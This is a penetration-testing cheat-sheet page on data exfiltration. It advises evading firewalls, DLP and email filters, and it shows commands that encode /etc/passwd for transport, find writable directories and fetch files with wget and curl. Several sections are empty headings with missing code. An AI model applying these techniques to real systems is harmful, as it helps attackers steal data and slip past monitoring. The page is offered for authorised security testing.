Data Exfiltration
Hack Responsibly.
Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.‌
Not much here yet...please feel free to contribute at my GitHub page.
The first step to exfiltration is to avoid being caught. This means avoiding firewalls, data loss prevention, email filters, and more. Encoding/encrypting your payload is a good way to do this.
Preparing files for transport
Base64 encode a file
base64 -w0 $fileBase64 decode a file
base64 -d $fileBinary files transfer badly over a terminal connection. There are many ways to convert a binary into base64 or similar and make the file terminal friendly. We can then use a technique described further on to transfer a file to and from a remote system using nothing else but the shell/terminal as a transport medium (e.g. no separate connection).
Encode:
$ uuencode /etc/passwd passwd-COPY
begin 644 passwd-COPY
356)U;G1U(#$X+C`T+C(@3%13"@``
`
endCut & paste the output (4 lines, starting with 'begin 644 filename') into uudecode to decode:
$ uudecode
begin 644 passwd-COPY
356)U;G1U(#$X+C`T+C(@3%13"@``
`
endOpenssl can also be used to encode files for transport
Encode:
$ openssl base64 < /etc/passwdCut & paste the output then transfer and decode:
$ openssl base64 -d > passwd-COPYYou can also use xxd to hex-encode files.
First encode with this command:
Cut & paste the output into this command: Decode:
shar
Use shar to create a self-extracting shell script, which is in text format and can be copied/mailed:
Transfer exfil.shar to the remote system by any means and execute it:
tar
A tar file is similar to a standard zip archive
Transfer exfil.tgz.b64 to the remote system and decode:
HTTP/HTTPS
One of the easier ways to transfer a file as most devices have web access. Start by finding a directory on the target that you can write to.
# find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \;# wget http://<url> -O url.txt -o /dev/nullCurl has the benefit of being able to transfer with IMAP, POP3, SCP, SFTP, SMB, SMTP, TELNET, TFTP< and other protocols. Experimentation may be needed to figure out what is blocked/allowed by the firewall.
# curl -o file.txt http://url.comScripted HTTP Servers
FTP
TFTP
Install the TFTP client
Download with TFTP
Upload with TFTP
SCP
SCP tranfsers files through SSH See SCP section for more.
NetCat from target
Python HTTP server script
Other Programs
Data exfiltration using TCP SYN
We can use TCP SYN sequence number packets to exfiltrate data using the syn-file tool.
Resources
DNSFTP - Get file with DNS requests
If you like this content and would like to see more, please consider buying me a coffee!
Last updated